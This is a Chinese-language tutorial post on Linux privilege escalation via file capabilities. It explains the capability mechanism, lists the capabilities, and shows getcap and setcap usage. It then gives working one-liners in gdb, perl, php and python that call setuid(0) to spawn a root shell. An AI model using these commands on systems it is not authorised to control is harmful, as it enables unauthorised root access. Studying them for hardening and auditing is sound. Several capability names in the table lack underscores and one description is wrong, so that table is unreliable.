1. 程式人生 > 實用技巧 >Linux提權(capabilities)

Linux提權(capabilities)

0x00 Capabilities入門

什麼是Capabilities

Linux的Root使用者擁有最高的許可權,可以對幾乎系統中的任何檔案進行操作。然而普通使用者如何操作一些高許可權的檔案?
在Linux中存在兩種方法:
第一種是在執行的命令前加上sudo,這樣就會以Root的身份進行操作。
第二種方法是設定SUID或SGID,這樣雖然會以原使用者的身份進行操作,但是獲得了操作許可權。

SUID和SGID存在安全隱患,因為某檔案設定了之後普通使用者將會獲得廣範圍的操作許可權。
為了避免這種安全隱患,Linux核心 2.2 之後引入了Capabilities機制。什麼是Capabilities機制哪?

原理很簡單,就是將之前與超級使用者 root(UID=0)關聯的特權細分為不同的功能組,Capabilites 作為執行緒(Linux 並不真正區分程序和執行緒)的屬性存在,每個功能組都可以獨立啟用和禁用。其本質上就是將核心呼叫分門別類,具有相似功能的核心呼叫被分到同一組中。
這樣一來,許可權檢查的過程就變成了:在執行特權操作時,如果執行緒的有效身份不是 root,就去檢查其是否具有該特權操作所對應的 capabilities,並以此為依據,決定是否可以執行特權操作。

細分後的特權:
capability名稱 描述
CAPAUDITCONTROL 啟用和禁用核心審計;改變審計過濾規則;檢索審計狀態和過濾規則
CAPAUDITREAD 允許通過 multicast netlink 套接字讀取審計日誌
CAPAUDITWRITE 將記錄寫入核心審計日誌
CAPBLOCKSUSPEND 使用可以阻止系統掛起的特性
CAP_CHOWN 修改檔案所有者的許可權
CAPDACOVERRIDE 忽略檔案的 DAC 訪問限制
CAPDACREAD_SEARCH 忽略檔案讀及目錄搜尋的 DAC 訪問限制
CAP_FOWNER 忽略檔案屬主 ID 必須和程序使用者 ID 相匹配的限制
CAP_FSETID 允許設定檔案的 setuid 位
CAPIPCLOCK 允許鎖定共享記憶體片段
CAPIPCOWNER 忽略 IPC 所有權檢查
CAP_KILL 允許對不屬於自己的程序傳送訊號
CAP_LEASE 允許修改檔案鎖的 FL_LEASE 標誌
CAPLINUXIMMUTABLE 允許修改檔案的 IMMUTABLE 和 APPEND 屬性標誌
CAPMACADMIN 允許 MAC 配置或狀態更改
CAPMACOVERRIDE 忽略檔案的 DAC 訪問限制
CAP_MKNOD 允許使用 mknod() 系統呼叫
CAPNETADMIN 允許執行網路管理任務
CAPNETBIND_SERVICE 允許繫結到小於 1024 的埠
CAPNETBROADCAST 允許網路廣播和多播訪問
CAPNETRAW 允許使用原始套接字
CAP_SETGID 允許改變程序的 GID
CAP_SETFCAP 允許為檔案設定任意的 capabilities
CAP_SETPCAP 參考 capabilities man page
CAP_SETUID 允許改變程序的 UID
CAPSYSADMIN 允許執行系統管理任務,如載入或解除安裝檔案系統、設定磁碟配額等
CAPSYSBOOT 允許重新啟動系統
CAPSYSCHROOT 允許使用 chroot() 系統呼叫
CAPSYSMODULE 允許插入和刪除核心模組
CAPSYSNICE 允許提升優先順序及設定其他程序的優先順序
CAPSYSPACCT 允許執行程序的 BSD 式審計
CAPSYSPTRACE 允許跟蹤任何程序
CAPSYSRAWIO 允許直接訪問 /devport、/dev/mem、/dev/kmem 及原始塊裝置
CAPSYSRESOURCE 忽略資源限制
CAPSYSTIME 允許改變系統時鐘
CAPSYSTTY_CONFIG 允許配置 TTY 裝置
CAP_SYSLOG 允許使用 syslog() 系統呼叫
CAPWAKEALARM 允許觸發一些能喚醒系統的東西(比如 CLOCKBOOTTIMEALARM 計時器)
Capabilities使用
查詢
getcap [路徑]

## 查詢全部
getcap -r / 2>/dev/null # -r 遞迴查詢   2>/dev/null 錯誤資訊從定向到null
設定
## 多個Capabilities以分號劃分
setcap [Capabilities名稱]=eip  [路徑]
## 設定多個案例
setcap cap_setgid,cap_setuid=eip /usr/bin/python
## 注意
設定時路徑要指定原始檔,不可以是連結檔案,如果報錯可以檢視是不是路徑指定的為連結檔案
刪除
setcap -r [路徑]

0x01 提權例項

setuid

通過setuid可以將程序執行使用者設定為root,以達到獲取root許可權效果

gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
## -ex 執行命令
## gdb呼叫python debug除錯;在shell中啟動python的命令為python2,在gdb中也為python
## -nx 不初始化指令碼


perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'


php
php -r "posix_setuid(0); system('/bin/sh');"

出現如下時

需要安裝php-posix

yum install php-posix
## centos中命令


python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'


參考
https://www.freebuf.com/articles/system/251182.html
https://blog.csdn.net/alex_yangchuansheng/article/details/102796001